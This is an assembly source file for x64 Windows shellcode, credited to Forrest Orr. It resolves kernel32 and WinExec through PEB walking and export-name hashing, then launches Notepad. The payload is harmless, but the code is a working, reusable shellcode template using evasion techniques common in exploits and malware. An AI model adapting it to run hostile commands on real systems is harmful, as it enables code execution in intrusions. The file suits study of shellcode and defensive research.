;;;;MMMMMMMMMMMMMMMMMMMMMWNXK0kxdooodddooloxO0KNWMMMMMMMMMMMMMMMMMMMMMMMMM ;;;;MMMMMMMMMMMMMMMMMWXOxl:;'... ...';;,,'.....;oxOKNWMMMMMMMMMMMMMMMMMMMM ;;;;MMMMMMMMMMMMMMWXOdlc:;;;:cc::;,',lxxxxo:,....,,,:lkKWMMMMMMMMMMMMMMMMM ;;;;MMMMMMMMMMMMN0dc:::loxkO0OOkxxdl:cdOOOOxoc;',lc'..';lkXWMMMMMMMMMMMMMM ;;;;MMMMMMMMMMNkc'...';ldkkO0Oxdoc:;,,;::::cclc,:xxc,',,'';dKWMMMMMMMMMMMM ;;;;MMMMMMMMW0l,...,coddooolc;,'.... ..... .,;,cdxdl:cc,'..,dXMMMMMMMMMMM ;;;;MMMMMMMNx;....cdxdddol:;;;::cccc::::;;'.''...':looddl;'...:kNMMMMMMMMM ;;;;MMMMMMNd'...'cddxdoc::codxOO000OOOOkkxdlll,....,coxxxo:'...'oXMMMMMMMM ;;;;MMMMMNd'. .colll;,,:lddxkkdlc;;;;:::loodxo:,,'',cddxxdc,....lXMMMMMMM ;;;;MMMMNd. 'okxdl'.':looooc;'''''.......';ldddl::;,;oxxxd:'....lXMMMMMM ;;;;MMMMO, .,d0Oko' .,lddl;'',:looollll:,....;oddxo:'.,oxxxo:'....oNMMMMM ;;;;MMMWd....;xOkx; .,oOx;..;ccc:cc:;;:codc'..'lxkxc'..;oxxxl'....,kWMMMM ;;;;MMMNo....;xOkd' .:xOl'':oc;:;;:::;'.'lx:. 'oxxl,..'cdddl;'....lXMMMM ;;;;MMMXc....:xxxo. .:xkl',ll;;;,::;,;:,.,oo'. .:ddl,...,oodoc,....,OMMMM ;;;;MMMXc....,dkkd' .,oOx;,:oc,,,;;'':c,.'lo' .;ddo;...,odddl'....'xWMMM ;;;;MMMNo.. ,xOkd; ..:kOo;,:lc;,,,;:;,..:dc.. .cxxd;...,odddc'.....oNMMM ;;;;MMMWk' .,oxxdo' ..,lxkdc,,;:::::,'',cdd;...,dxkl'...cddxd:'.....oNMMM ;;;;MMMMXc....,lkkko'....,lxkxl;,''',;lodo:'...'lxxo,. 'odddo;......dWMMM ;;;;MMMMMKc....,oOOkd:. ..,:looooooolc:,... .'lddl,. .cooddc,.....,OWMMM ;;;;MMMMMWKc. .,okkkxl;.. ........... ..;cll:. .:oddxo;......cKMMMM ;;;;MMMMMMMXl....'cdxdlodl;'.. ...;col:;'. .:oodxo:......,kWMMMM ;;;;MMMMMMMMNx;....';;coxkxdol:;''',;:ccldxxxo:'....;loodxo:'......oNMMMMM ;;;;MMMMMMMMMWKd;......,cddddkkdl::ccllolc:,'.....,coodxxo:''.....cKMMMMMM ;;;;MMMMMMMMMMMWXxc,.. ..',;cloo:'',,,,'.......';:cclooc,'......:0WMMMMMM ;;;;MMMMMMMMMMMMMMN0d:.. .......,;,. .... ...,;,,;:::;'........;OWMMMMMMM ;;;;MMMMMMMMMMMMMMMMWN0xl:,......';,'......,,'''',,,'..........cKWMMMMMMMM ;;;;MMMMMMMMMMMMMMMMMMMMMWXK0Okxxkkdcc:::::::,'........... ..:KMMMMMMMMMM ;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0xool::clll:;,''........':kWMMMMMMMMMM ;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXOxoc:;;;::::;,,'',cdONMMMMMMMMMMM ;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xdl:;;,,,;:ok0NMMMMMMMMMMMMM ;;;;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXKK000KNWMMMMMMMMMMMMMMMM ;;;;----------------------------------------------------------------------; ;;;; x64 WinExec Shellcode ; ;;;;----------------------------------------------------------------------; ;;;; Author: Forrest Orr - 2020 ; ;;;;----------------------------------------------------------------------; ;;;; Contact: forrest.orr@protonmail.com ; ;;;;----------------------------------------------------------------------; ;;;; Licensed under GNU GPLv3 ; ;;;;______________________________________________________________________; ;;;; ## Features ; ;;;; ; ;;;; ~ Dynamic module base resolution via name hash ; ;;;; ~ Dynamic export address resolution via name hash ; ;;;; ~ Export forwarding support ; ;;;; ~ Stable and tested on any version of Windows 7, 8.1 or 10 ; ;;;;______________________________________________________________________; ;%Define DEBUG %Ifdef DEBUG Global WinExec64 %Endif %Include "..\Include\Windows.inc" Bits 64 %Macro x64AlignStackM 0 Sub Rsp, 08h ; Subtract an additional Quadword from the stack pointer. And Spl, 0F7h ; Align stack, 11110111 (1000 is 08h), Spl is 8-bit Rsp %EndMacro %Macro x64AlignCallM 1 ; This can only be used if there are less than 4 params, otherwise we must have a definite knowledge of the stack subtraction size Push Rbp Mov Rbp, Rsp Sub Rsp, 20h ; Minimum stack space for 4 default fastcall registers. x64AlignStackM Call %1 Mov Rsp, Rbp Pop Rbp %EndMacro Section .text WinExec64: x64AlignStackM Nop Mov Rcx, 000D4E88h ; Kernel32.dll string hash. The hashing algorithm is case insensitive (forced uppercase) Nop Call GetModuleBase64 Nop Mov Rdi, Rax Mov Rdx, 00006feah ; WinExec Mov Rcx, Rdi Call ResolveExportAddress64 Mov Rdx, 5 ; SW_SHOW Mov Rcx, 'ad.exe' Push Rcx Mov Rcx, 'WS\notep' Push Rcx Mov Rcx, 'C:\WINDO' Push Rcx Mov Rcx, Rsp x64AlignCallM Rax Ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; GetModuleBase64 ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GetModuleBase64: ; Rcx = the string hash of the target module base name (not full path) Push R8 ; Walk through the load order module list in the PEB by flink until either the initial module in the list (Ntdll.dll) is reached again, or a NULL entry is identified. Push Rdi Push Rsi Mov R8, Rcx ; We need Rcx to pass parameters to GetFunctionHash. Store the target hash in R8 and restore it before returning. Mov Rsi, TIB64.pPEB Gs Lodsq Mov Rax, Qword [Rax + PEB64.pLDRData] Mov Rdi, Qword [Rax + PEB_LDR_DATA64.pInLoadOrderModuleList] Mov Rsi, Rdi ; Rsi will be my moving module entry pointer, while Rdi will be a static reference to the initial load order module (should always be Ntdll.dll) Xor Rax, Rax ; If the list pointer is invalid, we still need to return 0. Jmp GetModuleBase64.CheckValidModuleEntry ; Since Rsi and Rdi will be equal when the loop begins, skip the Ntdll check on the first iteration. .CheckNextModuleEntry: ; Rsi = current module, Rdi = Ntdll module, R8 = target module name hash. Rax will be the module base after loop exits, assuming it was ever found Cmp Rdi, Rsi Je GetModuleBase64.FinalModuleEntry .CheckValidModuleEntry: Test Rsi, Rsi Jz GetModuleBase64.FinalModuleEntry Lea Rbx, Qword [Rsi + LDR_MODULE64.usBaseDllName] Test Rbx, Rbx Jz GetModuleBase64.LoadNextModuleEntry Mov Rdx, 1 ; Unicode string boolean Mov Rcx, Qword [Rbx + UNICODE_STRING64.Buffer] Test Rcx, Rcx Jz GetModuleBase64.LoadNextModuleEntry Call GetStringHash64 Cmp Rax, R8 Je GetModuleBase64.FoundTargetModule .LoadNextModuleEntry: Xor Rax, Rax ; This will ensure we return 0 in the event the target module is not found. Mov Rsi, Qword [Rsi + LDR_MODULE64.Flink] Jmp GetModuleBase64.CheckNextModuleEntry .FoundTargetModule: Mov Rax, Qword [Rsi + LDR_MODULE64.pBase] .FinalModuleEntry: Pop Rsi Pop Rdi Pop R8 Ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ResolveExportAddress64 ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ResolveExportAddress64pModuleBase Equ -08h ResolveExportAddress64qwTargetFunctionHash Equ -10h ResolveExportAddress64pImageExportTable Equ -18h ResolveExportAddress64pdwAddressOfNames Equ -20h ResolveExportAddress64pwAddressOfNameOrdinals Equ -28h ResolveExportAddress64pdwAddressOfFunctions Equ -30h ResolveExportAddress64qwFunctionAddress Equ -38h ResolveExportAddress64dwExportTableSize Equ -40h ResolveExportAddress64pForwardedModuleBase Equ -48h ResolveExportAddress64ForwardedFunctionName Equ -150h ; 100h is 256, clean multiple of 8 for stack alignment. ResolveExportAddress64ForwardedModuleName Equ -250h ResolveExportAddress64StackSize Equ 250h ResolveExportAddress64: Bits 64 Push Rbp Mov Rbp, Rsp Sub Rsp, ResolveExportAddress64StackSize Push Rdi Push Rsi Mov Qword[Rbp + ResolveExportAddress64pModuleBase], Rcx Mov Qword[Rbp + ResolveExportAddress64qwTargetFunctionHash], Rdx Xor Rbx, Rbx Mov Ebx, Dword[Rcx + IMAGE_DOS_HEADER.e_lfanew] Add Rcx, Rbx Add Rcx, (IMAGE_FILE_HEADER_size + 4) Mov Rsi, Qword[Rbp + ResolveExportAddress64pModuleBase] Xor Rbx, Rbx Mov Ebx, Dword[Rcx + IMAGE_OPTIONAL_HEADER64.DataDirectory] Add Rsi, Rbx Mov Qword[Rbp + ResolveExportAddress64pImageExportTable], Rsi Mov Eax, Dword[Rcx + IMAGE_OPTIONAL_HEADER64.DataDirectory + 4]; Size field in first data directory(export address table) Mov Dword[Rbp + ResolveExportAddress64dwExportTableSize], Eax Mov Rax, Qword[Rbp + ResolveExportAddress64pModuleBase] Mov Ebx, Dword[Rsi + IMAGE_EXPORT_DIRECTORY.AddressOfNames] Add Rax, Rbx Mov Qword[Rbp + ResolveExportAddress64pdwAddressOfNames], Rax Mov Rax, Qword[Rbp + ResolveExportAddress64pModuleBase] Xor Rbx, Rbx Mov Ebx, Dword[Rsi + IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals] Add Rax, Rbx Mov Qword[Rbp + ResolveExportAddress64pwAddressOfNameOrdinals], Rax Mov Rax, Qword[Rbp + ResolveExportAddress64pModuleBase] Mov Ebx, Dword[Rsi + IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] Add Rax, Rbx Mov Qword[Rbp + ResolveExportAddress64pdwAddressOfFunctions], Rax Xor Rsi, Rsi Mov Qword[Rbp + ResolveExportAddress64qwFunctionAddress], Rsi .GetFunctionName:; Rsi = Current function index(should be initialized to 0) Mov Rax, Qword[Rbp + ResolveExportAddress64pImageExportTable] Mov Eax, Dword[Rax + IMAGE_EXPORT_DIRECTORY.NumberOfNames] Cmp Rax, Rsi Jbe ResolveExportAddress64.ReturnHash Mov Rax, Rsi Lea Rcx, Qword[Rax * 4] Mov Rdx, Qword[Rbp + ResolveExportAddress64pdwAddressOfNames] Mov Rax, Qword[Rbp + ResolveExportAddress64pModuleBase] Mov Ebx, Dword[Rcx + Rdx] Add Rax, Rbx Xor Rdx, Rdx; Set Unicode boolean to false, function names are always ANSI from the export address table Mov Rcx, Rax Call GetStringHash64 Cmp Eax, Dword[Rbp + ResolveExportAddress64qwTargetFunctionHash]; Explicitly check 32 - bits, otherwise long function names may produce hashes which require 64 bits. Jnz ResolveExportAddress64.NextFunctionName Mov Rax, Rsi Lea Rdx, Dword[Rax + Rax] Mov Rax, Qword[Rbp + ResolveExportAddress64pwAddressOfNameOrdinals] Movzx Rax, Word[Rdx + Rax] Lea Rcx, Qword[Rax * 4] Mov Rdx, Qword[Rbp + ResolveExportAddress64pdwAddressOfFunctions] Mov Rax, Qword[Rbp + ResolveExportAddress64pModuleBase] Mov Ebx, Dword[Rcx + Rdx] Add Rax, Rbx Mov Qword[Rbp + ResolveExportAddress64qwFunctionAddress], Rax; We've resolved the address of the target function. However this may be a forwarder string, not code. Check and see if the address is within the export table to determine this. Mov Rcx, Qword[Rbp + ResolveExportAddress64pImageExportTable] Mov Rdx, Rcx Xor Rbx, Rbx Mov Ebx, Dword[Rbp + ResolveExportAddress64dwExportTableSize] Add Rdx, Rbx Cmp Rax, Rcx Jl ResolveExportAddress64.ReturnHash; Function address below the start of the EAT ? If so it's a legit function. Cmp Rax, Rdx Jge ResolveExportAddress64.ReturnHash; Function address above the end of the EAT ? If so it's a legit function in this context. Mov Qword[Rbp + ResolveExportAddress64qwFunctionAddress], 0; The function address falls within the EAT.We can assume that it is a forwarder.Extract the module / function name : . Xor Rcx, Rcx; Forwarder string counter Nop ; Float conversion Lea Rbx, Qword[Rbp + ResolveExportAddress64ForwardedModuleName]; Initially the buffer register will point to the module name since this field comes first. .ExtractForwarder: Mov Dl, Byte[Rax + Rcx] Cmp Dl, 0 Je ResolveExportAddress64.ResolveForwarder Cmp Dl, '.' Jne ResolveExportAddress64.NextForwarderByte Mov Dword[Rbx], '.dll'; The module name in a forwarder will not include a.dll extension.Add it so that we can generate a name hash which may match a module in the PEB loader list. Add Rbx, 4 Mov Byte[Rbx], 0; Finalize module name string with null terminator Jmp ResolveExportAddress64.FloatFix nop nop nop nop nop ;Db 0ffh, 0ffh, 0ffh, 0ffh .FloatFix: Lea Rbx, Qword[Rbp + ResolveExportAddress64ForwardedFunctionName]; Switch the buffer register and begin building the function string Inc Rcx; Skip the '.' seperator Jmp ResolveExportAddress64.ExtractForwarder .NextForwarderByte: Mov Byte[Rbx], Dl Inc Rcx Inc Rbx Jmp ResolveExportAddress64.ExtractForwarder .ResolveForwarder: Mov Byte[Rbx], 0; Finalize the function name string with a null terminator. ; Lea Rdx, Qword[Rbp + ResolveExportAddress64ForwardedFunctionName] Xor Rdx, Rdx Lea Rcx, Qword[Rbp + ResolveExportAddress64ForwardedModuleName] Call GetStringHash64 Mov Rcx, Rax Call GetModuleBase64 Test Rax, Rax Jz ResolveExportAddress64.ReturnHash; Failed to find the forwarded module in the PEB loader list.This could be because it is an API set(and these will never be in the list) or a module which simply has not been loaded yet. Mov Qword[Rbp + ResolveExportAddress64pForwardedModuleBase], Rax Xor Rdx, Rdx Lea Rcx, Qword[Rbp + ResolveExportAddress64ForwardedFunctionName] Call GetStringHash64 Mov Rdx, Rax Mov Rcx, Qword[Rbp + ResolveExportAddress64pForwardedModuleBase] Call ResolveExportAddress64 Mov Qword[Rbp + ResolveExportAddress64qwFunctionAddress], Rax Jmp ResolveExportAddress64.ReturnHash .NextFunctionName: Inc Rsi Nop ; Double float conversion fix Jmp ResolveExportAddress64.GetFunctionName .ReturnHash: Mov Rax, Qword[Rbp + ResolveExportAddress64qwFunctionAddress] Pop Rsi Pop Rdi Mov Rsp, Rbp Pop Rbp Ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; GetStringHash64 ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GetStringHash64: ; Rcx = pointer to string, Rdx = boolean yes unicode or no unicode Push Rdi Mov Rdi, Rdx Xor Rbx, Rbx .HashNextByte: Cmp Byte [Rcx], 0 Je GetStringHash64.HashGenerated Movzx Eax, Byte [Rcx] Or Al, 60h Movzx Edx, Al Add Ebx, Edx Shl Rbx, 1 Inc Rcx Test Rdi, Rdi Jz GetStringHash64.HashNextByte Inc Rcx ; Skip an extra byte if this is a unicode string Jmp GetStringHash64.HashNextByte .HashGenerated: Mov Rax, Rbx Pop Rdi Ret End: